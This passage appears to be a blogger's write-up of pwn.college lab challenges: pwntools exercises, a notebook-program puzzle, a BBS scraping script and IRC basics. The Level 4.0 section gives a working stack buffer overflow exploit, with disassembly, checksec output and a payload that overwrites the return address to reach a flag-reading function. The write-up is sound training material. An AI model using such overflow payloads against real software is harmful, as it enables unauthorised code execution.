# 3. 乘法: CPU 会自动计算 rax * rcx,并将低 64-bit 结果存入 rax,高位存入 rdx
# 此时 rax 里就是 n * (n + 1) 的结果
# 4. 除以 2:用逻辑右移 (shr) 来代替 div 指令
p.sendafter(
"Please give me your assembly in bytes",
asm("""
mov rax, rcx
inc rax
mul rcx
shr rax, 1
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, rcx
[+] 0x400003: inc rax
[+] 0x400006: mul rcx
[+] 0x400009: shr rax, 1
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.6' stopped with exit code 0 (pid 193)

Level 3.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#define BUF_SIZE 0x100

enum book_status{
CREATED = 0X12345,
ABANDONED = 0X67890,
}
;
typedef struct {
char content[BUF_SIZE];
int status;
} notebook;

notebook * notebooks[10] = {NULL};

void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}

int read_int()
{
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}

void read_flag()
{
char flag[0x100];
int fd, size = 0;

fd = open("/flag", 0);
if (fd < 0) {
puts("Open flag failed");
exit(-1);
}
size = read(fd, flag, 0x100);
write(1, flag, size);
close(fd);
exit(0);
}

void create_notebook()
{
notebook *book = NULL;
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x20) {
puts("Invalid index for notebooks, Hacker!");
return;
}

book = malloc(sizeof(notebook));
if (book == NULL) {
puts("malloc error");
exit(-1);
}

puts("Input your notebook content:");
read(0, book->content, BUF_SIZE);
book->status = CREATED;

notebooks[idx] = book;
puts("Done!");
}

void edit_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

notebooks[idx]->status = ABANDONED;
puts("Done!");
}

void delete_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

free(notebooks[idx]);
puts("Done!");
}

void show_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

printf("content = %s, status = 0x%x\n", notebooks[idx]->content, notebooks[idx]->status);
}

int bypass_me()
{
int flag = 0;

// notebooks[0]
if ((notebooks[0] == NULL) ||
(strcmp(notebooks[0]->content, "hello ") != 0) ||
(notebooks[0]->status != CREATED))
return flag;

// notebooks[1]
if ((notebooks[1] == NULL) ||
(strcmp(notebooks[1]->content, "world,") != 0) ||
(notebooks[1]->status != ABANDONED))
return flag;

// notebooks[3]
if ((notebooks[3] == NULL) ||
(strcmp(notebooks[3]->content, "magic ") != 0) ||
(notebooks[3]->status != CREATED))
return flag;

// notebooks[5]
if ((notebooks[5] == NULL) ||
(strcmp(notebooks[5]->content, "notebook") != 0) ||
(notebooks[5]->status != ABANDONED))
return flag;

flag = 1;

return flag;
}

void menu()
{
puts("1. Create Notebook");
puts("2. Edit Notebook");
puts("3. Delete Notebook");
puts("4. Show Notebook");
puts("5. Gift for You");
puts("Choice >> ");
}

int main()
{
int choice, flag = 1;

init();
puts("We have a magic notebook for you:");

while (flag) {
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
create_notebook();
break;
case 2:
edit_notebook();
break;
case 3:
delete_notebook();
break;
case 4:
show_notebook();
break;
case 5:
if (bypass_me())
read_flag();
flag = 0;
break;
default:
puts("Invalid choice");
break;
}
}

puts("Bye bye~");

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch="amd64", os="linux", log_level="info")

challenge_path = "/challenge/pwntools-tutorials-level3.0"

p = process(challenge_path)

def create(idx, content):
p.sendlineafter(b"Choice >> \n", b"1")
p.sendlineafter(b"Input your notebook index:\n", str(idx).encode())
p.sendafter(b"Input your notebook content:\n", content)

def edit(idx):
p.sendlineafter(b"Choice >> \n", b"2")
p.sendlineafter(b"Input your notebook index:\n", str(idx).encode())

create(0, b"hello \x00")
create(1, b"world,\x00")
create(3, b"magic \x00")
create(5, b"notebook\x00")

# 修改指定 chunk 的 status 为 ABANDONED
edit(1)
edit(5)

p.sendlineafter(b"Choice >> \n", b"5")

flag_output = p.recvall()
print(flag_output.decode('utf-8', errors='ignore'))
1
2
3
4
5
hacker@pwntools~level-3-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level3.0': pid 196
[+] Receiving all data: Done (58B)
[*] Process '/challenge/pwntools-tutorials-level3.0' stopped with exit code 0 (pid 196)
pwn.college{**********************************************}

Level 4.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
            ;-- read_flag:
0x00401f0f f30f1efa endbr64
0x00401f13 55 push rbp
0x00401f14 4889e5 mov rbp, rsp
0x00401f17 4883ec70 sub rsp, 0x70
0x00401f1b 488d359e12.. lea rsi, [0x004031c0] ; "r"
0x00401f22 488d3d9912.. lea rdi, str._flag ; 0x4031c2 ; "/flag"
0x00401f29 e852f3ffff call sym.imp.fopen ;[2]
0x00401f2e 488945f8 mov qword [rbp - 8], rax
0x00401f32 48837df800 cmp qword [rbp - 8], 0
┌─< 0x00401f37 7522 jne 0x401f5b
│ 0x00401f39 488d3d8812.. lea rdi, str. ; 0x4031c8
│ 0x00401f40 e88bf2ffff call sym.imp.puts ;[3]
│ 0x00401f45 bfffffffff mov edi, 0xffffffff ; -1
│ 0x00401f4a e891f3ffff call sym.imp.exit ;[4]
┌──> 0x00401f4f 488d4590 lea rax, [rbp - 0x70]
╎│ 0x00401f53 4889c7 mov rdi, rax
╎│ 0x00401f56 e875f2ffff call sym.imp.puts ;[3]
╎└─> 0x00401f5b 488b55f8 mov rdx, qword [rbp - 8]
╎ 0x00401f6f 488d4590 lea rax, [rbp - 0x70]
╎ 0x00401f63 be64000000 mov esi, 0x64 ; 'd' ; 100
╎ 0x00401f68 4889c7 mov rdi, rax
╎ 0x00401f6b e8c0f2ffff call sym.imp.fgets ;[5]
╎ 0x00401f70 4885c0 test rax, rax
└──< 0x00401f73 75da jne 0x401f4f
0x00401f75 488b45f8 mov rax, qword [rbp - 8]
0x00401f79 4889c7 mov rdi, rax
0x00401f7c e86ff2ffff call sym.imp.fclose ;[6]
0x00401f81 90 nop
0x00401f82 c9 leave
0x00401f83 c3 ret
;-- main:
0x00401f84 f30f1efa endbr64
0x00401f88 55 push rbp
0x00401f89 4889e5 mov rbp, rsp
0x00401f8c 4883ec30 sub rsp, 0x30
0x00401f90 66c745fe3412 mov word [rbp - 2], 0x1234 ; '4\x12'
0x00401f96 b8efbeadde mov eax, 0xdeadbeef
0x00401f9b 488945f0 mov qword [rbp - 0x10], rax
0x00401f9f b800000000 mov eax, 0
0x00401fa4 e801ffffff call sym.init ;[7]
0x00401fa9 b800000000 mov eax, 0
0x00401fae e8ecfdffff call sym.print_desc ;[8]
0x00401fb3 488d3d2112.. lea rdi, str.Give_me_your_input ; 0x4031db ; "Give me your input"
0x00401fba e811f2ffff call sym.imp.puts ;[3]
0x00401fbf 488d45d0 lea rax, [rbp - 0x30]
0x00401fc3 4889c6 mov rsi, rax
0x00401fc6 488d3d2112.. lea rdi, [0x004031ee] ; "%s"
0x00401fcd b800000000 mov eax, 0
0x00401fd2 e8d9f2ffff call sym.imp.__isoc99_scanf ;[9]
0x00401fd7 b800000000 mov eax, 0
0x00401fdc e876fcffff call sym.print_exit ;[?]
0x00401fe1 b800000000 mov eax, 0
0x00401fe6 c9 leave
0x00401fe7 c3 ret
0x00401fe8 0f1f840000.. nop dword [rax + rax]

hacker@pwntools~level-4-0:~$ checksec /challenge/pwntools-tutorials-level4.0
[*] '/challenge/pwntools-tutorials-level4.0'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

buffer overflow + ret to read_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level4.0"
p = process(challenge_path)

payload = b"A" * 48 + b"B" * 8 + p64(0x00401f0f)
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter("Give me your input\n", payload)

# Receive flag from the process
flag = p.recvall(timeout=1)
print(f"flag is: {flag}")
1
2
3
4
5
6
7
hacker@pwntools~level-4-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level4.0': pid 202
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Receiving all data: Done (188B)
[*] Process '/challenge/pwntools-tutorials-level4.0' stopped with exit code -11 (SIGSEGV) (pid 202)
flag is: b'\n### 2026\xe5\xb9\xb44\xe6\x9c\x881\xe6\x97\xa518:42:16 \xe6\x88\x98\xe6\x96\x97\xe8\xae\xb0\xe5\xbd\x95:\x1b[1m\x1b[31m \xe5\xa4\xa7\xe9\x92\xb3\xe8\x9f\xb9 \x1b[0m\xe8\x8e\xb7\xe8\x83\x9c\n### \xe5\x8a\xaa\xe5\x8a\x9b\xe6\x8f\x90\xe5\x8d\x87\xe8\x87\xaa\xe5\xb7\xb1\xe7\x9a\x84\xe7\xad\x89\xe7\xba\xa7\xe5\x90\x8e\xef\xbc\x8c\xe5\x86\x8d\xe6\x9d\xa5\xe6\x8c\x91\xe6\x88\x98\xe5\x90\xa7\xef\xbc\x81\npwn.college{**********************************************}\n\n'

External BBS (login)

1
2
3
4
5
6
7
8
9
10
11
12
13
# telnet 20forbeers.com:1337
# ssh 20forbeers.com:1338
# web http://20forbeers.com:1339/

# Install syncterm to connect to BBS
$ paru -S syncterm

hacker@bbs~external-bbs-login:~$ /challenge/checker.py
Hello! You should've found the DOOM server password on an external BBS. Please enter it now.
Enter password:
********
Correct!
pwn.college{***}

Internal BBS

Since BBS's often only allowed one line to be connected at a time, often admins had to limit users' daily use time. In this challenge, you will be interacting with a locally run BBS that has a very short visit time (15s). In real life, people made programs to download all data on the BBS, so only new data had to be read in real time.

Some users have left a flag lying around in the message boards, get it before we disconnect you.

The BBS server is running on localhost:1337 when you start the challenge. You can find the server code at /challenge/bbs_server.py.

Scripting Help

If you are new to scripting with Python, here is a script to get you started:

You should mostly be able to solve it with the APIs shown in the script. If you need more help see pwntools.

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

# Connect to the BBS server
bbs = remote("localhost", 1337)

# Receive until the menu choice prompt
data = bbs.recvuntil("Enter your choice: ")
print("data", data)

# Select option 1 (List message titles)
bbs.sendline("1")
data = bbs.recvuntil("=== Main Menu ===")
print(data)

BBS Server Code

We need to fetch all titles and then request each one quickly before the 15-second timeout.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import os
import re
# Disable terminal features for pwnlib to avoid issues in non-interactive environments
os.environ['PWNLIB_NOTERM'] = '1'

from pwn import *
context.log_level = 'error'

def solve():
# Connect to the local BBS server
bbs = remote("localhost", 1337)

# Wait for the initial menu
bbs.recvuntil(b"Enter your choice: ")

# Request list of all message titles
bbs.sendline(b"1")

# Capture the output containing titles
data = bbs.recvuntil(b"Enter your choice: ").decode('utf-8', errors='ignore')

# Remove ANSI escape codes (colors) for cleaner parsing
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
clean_data = ansi_escape.sub('', data)

# Extract titles using regex. Format: "000: Title Name"
titles = re.findall(r'^\d{3}:\s*(.*)$', clean_data, re.MULTILINE)

# Batch the requests: Send "2" (Read message) followed by the title for each message
payload = []
for t in titles:
payload.append("2")
payload.append(t)

# Send all requests at once to maximize speed
bbs.sendline("\n".join(payload).encode('utf-8'))

# Collect all response data until timeout or connection close
try:
dump = bbs.recvall(timeout=15).decode('utf-8', errors='ignore')
except EOFError:
pass

# Search for the flag in the dumped content
match = re.search(r'pwn\.college\{.*?\}', dump)
if match:
print(f"Flag: {match.group(0)}")
else:
print("fail")

if __name__ == "__main__":
solve()
1
2
# Run the solution script with specific terminal environment if needed
TERM=xterm python a.py

Join an IRC Server

1
2
3
4
5
6
7
8
9
10
11
12
hacker@irc~join-an-irc-server:~$ nc localhost 6667

nick kita
user d 0 * :kita!
:localhost 001 kita :Hi, welcome to IRC
:localhost 002 kita :Your host is localhost, running version miniircd-2.3
:localhost 003 kita :This server was created sometime
:localhost 004 kita localhost miniircd-2.3 o o
:localhost 251 kita :There are 1 users and 0 services on 1 server
:localhost 375 kita :- localhost Message of the day -
:localhost 372 kita :- pwn.college{***}
:localhost 376 kita :End of /MOTD command

Join an IRC Server(with an IRC client)

1
2
3
4
5
6
7
8
9
10
11
hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic --help
usage: sic [-h host] [-p port] [-n nick] [-k keyword] [-v]
hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic -h localhost -p 6667
localhost : 2026-04-01 07:40 >< 001 (unknown): Hi, welcome to IRC
localhost : 2026-04-01 07:40 >< 002 (unknown): Your host is localhost, running version miniircd-2.3
localhost : 2026-04-01 07:40 >< 003 (unknown): This server was created sometime
localhost : 2026-04-01 07:40 >< 004 (unknown localhost miniircd-2.3 o o):
localhost : 2026-04-01 07:40 >< 251 (unknown): There are 1 users and 0 services on 1 server
localhost : 2026-04-01 07:40 >< 375 (unknown): - localhost Message of the day -
localhost : 2026-04-01 07:40 >< 372 (unknown): - pwn.college{***}
localhost : 2026-04-01 07:40 >< 376 (unknown): End of /MOTD command

Change your nickname

1
2
3
4
5
6
7
8
9
10
11
12
hacker@irc~change-your-nickname:~$ nc localhost 6667
NICK archuser
USER archuser 0 * :I use Arch btw
:localhost 001 archuser :Hi, welcome to IRC
:localhost 002 archuser :Your host is localhost, running version miniircd-2.3
:localhost 003 archuser :This server was created sometime
:localhost 004 archuser localhost miniircd-2.3 o o
:localhost 251 archuser :There are 1 users and 0 services on 1 server
:localhost 422 archuser :MOTD File is missing
NICK pwn
:archuser!archuser@127.0.0.1 NICK pwn
:localhost pwn.college{***}

Join a channel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
hacker@irc~join-a-channel:~$ nc localhost 6667
nick a
user a 0 * :a
:localhost 001 a :Hi, welcome to IRC
:localhost 002 a :Your host is localhost, running version miniircd-2.3
:localhost 003 a :This server was created sometime
:localhost 004 a localhost miniircd-2.3 o o
:localhost 251 a :There are 1 users and 0 services on 1 server
:localhost 422 a :MOTD File is missing
list
:localhost 323 a :End of LIST
join #flag
:a!a@127.0.0.1 JOIN #flag
:localhost pwn.college{***}

:localhost 331 a #flag :No topic is set
:localhost 353 a = #flag :a
:localhost 366 a #flag :End of NAMES list

Message a channel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hacker@irc~message-a-channel:~$ nc localhost 6667
nick a
user a 0 * :a
:localhost 001 a :Hi, welcome to IRC
:localhost 002 a :Your host is localhost, running version miniircd-2.3
:localhost 003 a :This server was created sometime
:localhost 004 a localhost miniircd-2.3 o o
:localhost 251 a :There are 1 users and 0 services on 1 server
:localhost 422 a :MOTD File is missing
join #flag
:a!a@127.0.0.1 JOIN #flag
:localhost 331 a #flag :No topic is set
:localhost 353 a = #flag :a
:localhost 366 a #flag :End of NAMES list
privmsg #flag :a
:localhost pwn.college{***}

Remove another user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hacker@irc~remove-another-user:~$ nc localhost 6667
NICK archlinux
USER archlinux 0 * :I use Arch btw
:localhost 001 archlinux :Hi, welcome to IRC
:localhost 002 archlinux :Your host is localhost, running version miniircd-2.3
:localhost 003 archlinux :This server was created sometime
:localhost 004 archlinux localhost miniircd-2.3 o o
:localhost 251 archlinux :There are 1 users and 0 services on 1 server
:localhost 422 archlinux :MOTD File is missing
PRIVMSG pwn :Press alt+f4 to join my channel
:localhost 401 archlinux pwn :No such nick/channel
NICK pwn
:archlinux!archlinux@127.0.0.1 NICK pwn
:localhost pwn.college{***}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE